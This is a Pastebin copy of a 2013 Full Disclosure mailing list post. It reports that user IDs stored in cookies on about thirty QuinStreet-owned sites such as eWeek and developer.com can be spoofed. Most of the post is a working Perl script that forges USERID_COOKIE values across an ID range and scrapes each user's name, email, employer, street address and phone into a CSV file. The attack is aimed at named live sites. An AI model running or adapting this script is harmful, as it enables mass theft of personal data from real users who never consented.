Guest User

Untitled

a guest
Mar 15th, 2013
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.58 KB | None | 0 0
  1.  
  2. Full Disclosure mailing list archives
  3. By Date By Thread
  4. FULL-DISCLOSURE Exclusive
  5. From: Henry Garrison <henrygarrison32 () yahoo com>
  6. Date: Wed, 13 Mar 2013 22:28:14 -0700 (PDT)
  7. # March 13, 2013
  8. # FULL-DISCLOSURE Exclusive - Vielen Dank John!
  9. #
  10. # VULNERABILITY SUMMARY
  11. # ---------------------
  12. # A confirmed security vulnerability has been identified with 30 high traffic web
  13. # sites owned by QuinStreet. Vendor stores database IDs in cookies which are
  14. # easily spoofed (USERID_COOKIE), allowing all user information to be accessed.
  15. # Seven million users are reportedly in the database:
  16. # http://www.itbusinessedge.com/about-itbe
  17. #
  18. # Web sites
  19. include:
  20. #
  21. # Ziff Davis
  22. # ----------
  23. # http://www.eweek.com/
  24. # http://www.baselinemag.com/
  25. # http://www.cioinsight.com/
  26. # http://www.channelinsider.com/
  27. # http://www.eseminarslive.com/
  28. #
  29. # Developer.com Network
  30. # ---------------------
  31. # http://www.developer.com/
  32. # http://www.devx.com/
  33. # http://www.codeguru.com/
  34. # http://www.htmlgoodies.com/
  35. #
  36. # IT Business Edge Network
  37. # ------------------------
  38. # http://www.itbusinessedge.com/
  39. # http://www.datamation.com/
  40. # http://www.smallbusinesscomputing.com/
  41. # http://www.internetnews.com/
  42. # http://www.serverwatch.com/
  43. # http://www.infostor.com/
  44. # http://www.enterprisestorageforum.com/
  45. # http://www.enterprisenetworkingplanet.com/
  46. # http://www.enterpriseappstoday.com/
  47. # http://www.cioupdate.com/
  48. # http://www.databasejournal.com/
  49. # http://www.esecurityplanet.com/
  50. # http://www.webopedia.com/
  51. # http://www.linuxtoday.com/
  52. #
  53. # PROOF OF CONCEPT
  54. # ----------------
  55. # The below sample POC Perl script will extract user demographic data from the
  56. # above listed web
  57. sites and write the contents to a csv file.
  58. #
  59. # On Windows, use http://www.strawberryperl.com/, for other O/S visit www.perl.org/get.html
  60. #
  61.  
  62. use strict;
  63. use WWW::Mechanize;
  64. use HTTP::Cookies;
  65.  
  66. # assetforms.* are iframes inserted into each website user management page
  67. my @urls = ("http://assetform.itbusinessedge.com/acl/accountController.jsp";,
  68. "http://assetform.eweek.com/acl/accountController.jsp?css=eweek/";
  69. ."eweekArticleRegistrationForm.css&sdn=Eweek&w=http://www.eweek.com";
  70.  
  71. ."&u=%2Findex.php%2FaccountManagement%3F&isIframed=yes&rand=11207&formType=",
  72. "http://assetform.developer.com/acl/accountController.jsp?formType=";
  73. ."userProfile&css=developerCom/developerComArticleRegistrationForm.css&w="
  74. ."http://www.developer.com&sdn=developer&nlalkeys=null&submit=submit/";);
  75.  
  76. my $agent = "User-Agent=Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; "
  77. ."Trident/6.0)";
  78.  
  79. #comma delimited file name
  80. my $outfile = "eweek-users" .int(rand 100000) . ".csv";
  81.  
  82. my $cookie_jar = HTTP::Cookies->new;
  83. my $mech = WWW::Mechanize->new(cookie_jar=>$cookie_jar);
  84. $mech->agent($agent);
  85. my $url;
  86. my $Website;
  87. my $LowUserid_Cookie = 0;
  88. my $HighUserid_Cookie = 0;
  89. my $i;
  90. my $SessDate;
  91. my $UserDemographic;
  92. my $output_page;
  93.  
  94. RandUserRange();
  95. CreateCsvHeader();
  96.  
  97. for ($i = $LowUserid_Cookie; $i < $HighUserid_Cookie; $i+=100) {
  98. $SessDate = "136303" . int(1000000 + rand 1000000);
  99. setCookies($i,$SessDate);
  100.  
  101. foreach $url (@urls){
  102. $Website = substr($url, 17, 5);
  103. retrieveUrl($url);
  104. #print "\n\nCookies:\n", $mech->cookie_jar->as_string, "\n";
  105. print ("UserID:" . $i . "\n");
  106. print ("Website" . $Website . "\n");
  107. print ("Length of output_page:" . length($output_page));
  108. print ("\n\n");
  109. last if
  110. length($output_page);
  111. }
  112.  
  113. if (length($output_page)) {
  114. open(OUTFILE,">>$outfile");
  115. $UserDemographic = processForm($i);
  116. print OUTFILE $UserDemographic;
  117. #print OUTFILE $output_page;
  118. close (OUTFILE);
  119. }
  120. }
  121. exit;
  122.  
  123. sub RandUserRange {
  124. # if (rand(2) < 1) {
  125. #$LowUserid_Cookie = int(rand( 1000)) + 390000;
  126. #$LowUserid_Cookie .= "21";
  127.  
  128. $LowUserid_Cookie = "38500021";
  129. $HighUserid_Cookie ="47000021";
  130.  
  131. # }
  132. # else {
  133. #$LowUserid_Cookie = int(rand(10000)) + 1500000;
  134. # $LowUserid_Cookie = "144530710";
  135. # $HighUserid_Cookie =
  136. "180000000";
  137. # }
  138. }
  139.  
  140. sub setCookies {
  141. $cookie_jar->clear;
  142. $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.itbusinessedge.com',0);
  143. $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.itbusinessedge.com',0);
  144. $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.eweek.com',0);
  145. $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.eweek.com',0);
  146. $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.developer.com',0);
  147. $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.developer.com',0);
  148. }
  149.  
  150. sub retrieveUrl {
  151. $mech->get($_[0]);
  152. $output_page = $mech->content();
  153.  
  154. if ($output_page =~ m/Sign In/) {
  155. $output_page = "";
  156. }
  157. return ($output_page);
  158. }
  159.  
  160. sub
  161. processForm {
  162. $mech->form_name("formTypePost");
  163. my $Userid = $_[0];
  164. my $FirstName = clean($mech->value('FN'));
  165. my $LastName = clean($mech->value('LN'));
  166. my $Email = clean($mech->value('EM'));
  167. my $CompanyName = clean($mech->value('CompanyName'));
  168. my $Title = clean($mech->value('Designation'));
  169. my $JobFunction = clean($mech->value('JobFunction'));
  170. my $DecisionRole = clean($mech->value('DecisionRole'));
  171. my $Employees = clean($mech->value('NumberofEmployeesRange'));
  172. my $Industry = clean($mech->value('Industry'));
  173. my $StreetAddress = clean($mech->value('S1'));
  174. my $City = clean($mech->value('CT'));
  175. my $State = clean($mech->value('SP'));
  176. my $PostalZone = clean($mech->value('PC'));
  177. my $Country = clean($mech->value('CN'));
  178. my $Phone =
  179. clean($mech->value('WP'));
  180. my $s;
  181. $s = $Userid .','. $Website .',' .$FirstName .','. $LastName .','. $Email .','
  182. .$CompanyName .','. $Title .','. $JobFunction .','. $DecisionRole .','
  183. .$Employees .','. $Industry .','. $StreetAddress .','. $City .','. $State
  184. .','. $PostalZone .','. $Country .','. $Phone . "\n";
  185. return ($s);
  186. }
  187.  
  188. sub clean {
  189. local($a) = ($_[0]);
  190. $a =~ s/[^a-zA-Z0-9 \.\ () !_%+-]//g;
  191. return $a
  192. }
  193.  
  194. sub CreateCsvHeader {
  195. open(OUTFILE,">$outfile") || die("File write error");
  196. print OUTFILE "UserId,Website,FirstName,LastName,Email,CompanyName,Title,"
  197. ."JobFunction,DecisionRole,Employees,Industry,StreetAddress,City,State,"
  198. ."PostalCode,Country,Phone\n";
  199. close(OUTFILE);
  200. }
  201. _______________________________________________
  202. Full-Disclosure - We believe in it.
  203. Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  204. Hosted and sponsored by Secunia - http://secunia.com/
  205. By Date By Thread
  206.  
  207. Current thread:
  208. FULL-DISCLOSURE Exclusive Henry Garrison (Mar 14)
Advertisement
Add Comment
Please, Sign In to add comment